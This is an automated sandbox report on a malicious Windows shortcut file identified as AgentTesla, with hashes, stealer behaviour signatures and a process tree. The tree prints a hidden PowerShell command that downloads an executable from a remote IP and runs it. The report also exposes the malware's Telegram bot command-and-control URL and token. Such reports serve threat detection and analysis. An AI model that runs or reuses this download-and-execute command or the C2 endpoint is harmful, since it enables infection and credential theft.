Analysis

  • max time kernel
    141s
  • max time network
    152s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231127-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20231127-enlocale:en-usos:windows10-2004-x64system
  • submitted
    07-12-2023 07:38

General

  • Target

    AYF00675.lnk

  • Size

    1KB

  • MD5

    92cff55b70b6556b395300de968521fc

  • SHA1

    4bfccd1a6dc2a775a497074caecf25386dab49fb

  • SHA256

    d3ab1b047a1ee9985c00c95cd4d205f79bdf47ade1f18ee30ec9d88a58cb133d

  • SHA512

    7b59f385a7bacba7a87479837218f1399894480f2b4ae60811d0c4ec180cfbfde6170ecb0b369f4dd0cd75af02a216b5659e714d7c53d439394664505a9311fe

Malware Config

Extracted

Family

agenttesla

C2

https://api.telegram.org/bot6184846740:AAFy48QnJEpbqT9DY_xx392kz1tH5_khlWo/

Signatures

  • AgentTesla

    Agent Tesla is a remote access tool (RAT) written in visual basic.

  • Blocklisted process makes network request 2 IoCs
  • Downloads MZ/PE file
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Reads data files stored by FTP clients 2 TTPs

    Tries to access configuration files associated with programs like FileZilla.

  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
  • Looks up external IP address via web service 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of WriteProcessMemory 18 IoCs
  • outlook_office_path 1 IoCs
  • outlook_win_path 1 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\AYF00675.lnk
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:3756
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c powershell.exe -windowstyle hidden -command "& {Invoke-WebRequest -Uri 'http://185.196.9.20/test/sleeps.exe' -OutFile $env:APPDATA\newfile.exe; Start-Process $env:APPDATA\newfile.exe}"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1220
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell.exe -windowstyle hidden -command "& {Invoke-WebRequest -Uri 'http://185.196.9.20/test/sleeps.exe' -OutFile $env:APPDATA\newfile.exe; Start-Process $env:APPDATA\newfile.exe}"
        3⤵
        • Blocklisted process makes network request
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:3112
        • C:\Users\Admin\AppData\Roaming\newfile.exe
          "C:\Users\Admin\AppData\Roaming\newfile.exe"
          4⤵
          • Executes dropped EXE
          • Suspicious use of SetThreadContext
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:4556
          • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
            #cmd
            5⤵
            • Accesses Microsoft Outlook profiles
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • outlook_office_path
            • outlook_win_path
            PID:3208
          • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
            #cmd
            5⤵
              PID:3176

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_hwgymv10.2xw.ps1

      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • C:\Users\Admin\AppData\Roaming\newfile.exe

      Filesize

      14KB

      MD5

      716c27c08649ad5319ef1c41950c1c82

      SHA1

      a6ea541cf0cbb41550dcde53b3da372f16c31652

      SHA256

      f62640b8047a6105ba98ab690d7908f6c3e8aef22f05d6512e838457a01e0593

      SHA512

      f7bcb38737514e0d335ea3d7db8a172e077ad00825740b4e54dedb42fcdc135456981ce2774c9b328809cb28a83b5efe9a281f40b641af1985ed3d2493b0b40e

    • C:\Users\Admin\AppData\Roaming\newfile.exe

      Filesize

      14KB

      MD5

      716c27c08649ad5319ef1c41950c1c82

      SHA1

      a6ea541cf0cbb41550dcde53b3da372f16c31652

      SHA256

      f62640b8047a6105ba98ab690d7908f6c3e8aef22f05d6512e838457a01e0593

      SHA512

      f7bcb38737514e0d335ea3d7db8a172e077ad00825740b4e54dedb42fcdc135456981ce2774c9b328809cb28a83b5efe9a281f40b641af1985ed3d2493b0b40e

    • C:\Users\Admin\AppData\Roaming\newfile.exe

      Filesize

      14KB

      MD5

      716c27c08649ad5319ef1c41950c1c82

      SHA1

      a6ea541cf0cbb41550dcde53b3da372f16c31652

      SHA256

      f62640b8047a6105ba98ab690d7908f6c3e8aef22f05d6512e838457a01e0593

      SHA512

      f7bcb38737514e0d335ea3d7db8a172e077ad00825740b4e54dedb42fcdc135456981ce2774c9b328809cb28a83b5efe9a281f40b641af1985ed3d2493b0b40e

    • memory/3112-0-0x0000022255680000-0x00000222556A2000-memory.dmp

      Filesize

      136KB

    • memory/3112-10-0x00007FF8D0670000-0x00007FF8D1131000-memory.dmp

      Filesize

      10.8MB

    • memory/3112-11-0x0000022255400000-0x0000022255410000-memory.dmp

      Filesize

      64KB

    • memory/3112-13-0x0000022255400000-0x0000022255410000-memory.dmp

      Filesize

      64KB

    • memory/3112-12-0x0000022255400000-0x0000022255410000-memory.dmp

      Filesize

      64KB

    • memory/3112-27-0x00007FF8D0670000-0x00007FF8D1131000-memory.dmp

      Filesize

      10.8MB

    • memory/3208-37-0x00000000055F0000-0x0000000005656000-memory.dmp

      Filesize

      408KB

    • memory/3208-36-0x00000000055E0000-0x00000000055F0000-memory.dmp

      Filesize

      64KB

    • memory/3208-53-0x00000000055E0000-0x00000000055F0000-memory.dmp

      Filesize

      64KB

    • memory/3208-31-0x0000000000400000-0x0000000000430000-memory.dmp

      Filesize

      192KB

    • memory/3208-34-0x0000000074BD0000-0x0000000075380000-memory.dmp

      Filesize

      7.7MB

    • memory/3208-52-0x0000000074BD0000-0x0000000075380000-memory.dmp

      Filesize

      7.7MB

    • memory/3208-35-0x0000000005C40000-0x00000000061E4000-memory.dmp

      Filesize

      5.6MB

    • memory/3208-51-0x0000000006D20000-0x0000000006D2A000-memory.dmp

      Filesize

      40KB

    • memory/3208-50-0x0000000006FC0000-0x0000000007052000-memory.dmp

      Filesize

      584KB

    • memory/3208-38-0x0000000006B30000-0x0000000006B80000-memory.dmp

      Filesize

      320KB

    • memory/3208-39-0x0000000006D50000-0x0000000006F12000-memory.dmp

      Filesize

      1.8MB

    • memory/3208-49-0x0000000006C20000-0x0000000006CBC000-memory.dmp

      Filesize

      624KB

    • memory/4556-29-0x0000000074BD0000-0x0000000075380000-memory.dmp

      Filesize

      7.7MB

    • memory/4556-28-0x0000000000590000-0x000000000059A000-memory.dmp

      Filesize

      40KB

    • memory/4556-33-0x0000000074BD0000-0x0000000075380000-memory.dmp

      Filesize

      7.7MB

    • memory/4556-30-0x0000000004F90000-0x0000000004FA0000-memory.dmp

      Filesize

      64KB